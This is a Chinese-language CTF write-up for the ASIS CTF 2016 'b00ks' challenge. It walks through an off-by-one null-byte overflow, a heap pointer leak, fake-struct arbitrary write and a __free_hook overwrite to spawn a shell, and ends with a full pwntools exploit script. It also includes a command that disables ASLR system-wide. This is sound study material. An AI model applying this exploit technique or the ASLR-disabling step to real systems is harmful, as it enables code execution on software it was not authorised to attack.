asis-ctf-2016 b00ks (off-by-one)
2016 asis ctf b00ks
考察點 off-by-one, mmap分配和libc基址偏移,
思路是利用單字節溢出漏洞覆蓋地址最后一位讓其落在可控制區域,這樣就可以利用程序功能實現任意地址讀寫(構造合適的數據結構),最后通過__free_hook來獲取shell
題目分析
題目是一個常見的菜單式程序,功能是一個圖書管理系統,提供了創建、刪除、編輯、打印圖書等功能:

通過分析,關鍵結構體book_struct如下

漏洞分析
程序中用于讀取輸入的read_input()函數(函數名字已重命名)存在off-by-one漏洞,當輸入數據的長度正好為a2時,會向buf中越界寫入一個字節\x00。
signed __int64 __fastcall read_input(void *a1, int a2)
{
// ...
if ( a2 > 0 )
{
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *(_BYTE *)buf == 10 )
break;
buf = (char *)buf + 1;
if ( i == a2 )
break;
}
*(_BYTE *)buf = 0;
result = 0LL;
}
// ...
}
信息泄露漏洞
由于author_name_ptr和global_book_struct_array之間正好相差32個字節,當輸入的author_name長度為32時,會向author_name_ptr中越界寫入一個字節\x00。之后,在創建book_struct時,會將其地址保存在global_book_struct_array中,覆蓋之前的字符串截斷符\x00。因此,通過打印author_name可以實現信息信泄露。
off-by-one漏洞
通過修改author_name可以向author_name_ptr中越界寫入一個字節\x00,這樣會覆蓋global_book_struct_array中保存的第一個book_struct的地址。
漏洞利用
主要思想如下:創建2個book,通過單字節溢出,使得book1_struct指針指向book1_description中;然后在book1_description中偽造一個book1_struct,使得其中的book1_description_ptr指向book2_description_ptr;通過先后修改book1_description和book2_description,從而實現任意地址寫任意內容的功能。
為了方便調試,臨時禁用了系統的地址隨機化功能:
echo 0 > /proc/sys/kernel/randomize_va_space
創建book
book1的description的大小要盡量大一點(如140),保證當單字節溢出后book1_struct指針落在book1的description中,從而對其可控,為后續偽造book1_struct打下基礎。book2的description的大小越大越好(如0x21000),這樣會通過mmap()函數去分配堆空間,而該堆地址與libc的基址相關,這樣通過泄露該堆地址可以計算出libc的基址。
從global_book_strcut_array(0x555555756060)中可以看到,當發生null byte溢出時,book1_struct的指針變為0x555555758100,正好落在book1_description的范圍內。
偽造book1_struct
為了使得偽造的book1_description_ptr指向book2_description_ptr,需要先知道book2_struct的地址,可以通過打印author_name從而泄露得到該地址。
之后通過修改book1_description,偽造一個book1_struct。可以看到book1_description_ptr已經指向了book2_name_ptr。(通過+8就能指向book2_description_ptr)
空字節覆蓋
修改author_name,覆蓋global_book_struct_array中保存的第一個book_struct 指針。之后通過打印book可以泄露得到book2_name_ptr, 從而得到該地址與libc基址之間的偏移。
獲取shell
通過先后修改book1_description和book2_description,可以實現任意地址寫任意內容的功能。由于該程序啟用了FULL RELRO保護措施,無法對GOT進行改寫,但是可以改寫__free_hook或__malloc_hook。
結合前面泄露的book2_name_ptr和計算得到的偏移,可以計算出libc的基址,進一步可得到__free_hook和system函數運行時的地址,以及libc中字符串”/bin/sh”的地址。之后將__free_hook指向的內容修改為system的地址,在調用free函數時,由于__free_hook里面的內容不為NULL,從而執行指向的指令。
#!/usr/bin/env python
from pwn import *
context(log_level='debug', os='linux')
def create_book(target, name_size, book_name, desc_size, book_desc):
target.recv()
target.sendline('1')
target.sendlineafter('Enter book name size: ', str(name_size))
target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
target.sendlineafter('Enter book description size: ', str(desc_size))
target.sendlineafter('Enter book description: ', book_desc)
def delete_book(target, book_id):
target.recv()
target.sendline('2')
target.sendlineafter('Enter the book id you want to delete: ', str(book_id))
def edit_book(target, book_id, book_desc):
target.recv()
target.sendline('3')
target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
target.sendlineafter('Enter new book description: ', book_desc)
def print_book(target):
target.recvuntil('>')
target.sendline('4')
def change_author_name(target, name):
target.recv()
target.sendline('5')
target.sendlineafter('Enter author name: ', name)
def input_author_name(target, name):
target.sendlineafter('Enter author name: ', name)
DEBUG = 0
LOCAL = 1
if LOCAL:
target = process('./b00ks')
else:
target = remote('127.0.0.1', 5678)
libc = ELF('./libc.so.6')
# used for debug
image_base = 0x555555554000
if DEBUG:
pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))
input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created')
# leak boo1_struct addr
print_book(target)
target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')
book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
book2_struct_addr = book1_struct_addr + 0x30
create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')
# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
edit_book(target, 1, payload)
change_author_name(target, 'a'*32)
# leak book2_name ptr
print_book(target)
target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))
# find in debug: mmap_addr - libcbase
offset = 0x7ffff7fd2010 - 0x7ffff7a0d000
libcbase = book2_name_ptr - offset
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)
payload = p64(system)
edit_book(target, 2, payload)
delete_book(target, 2)
target.interactive()
pwn題目匯總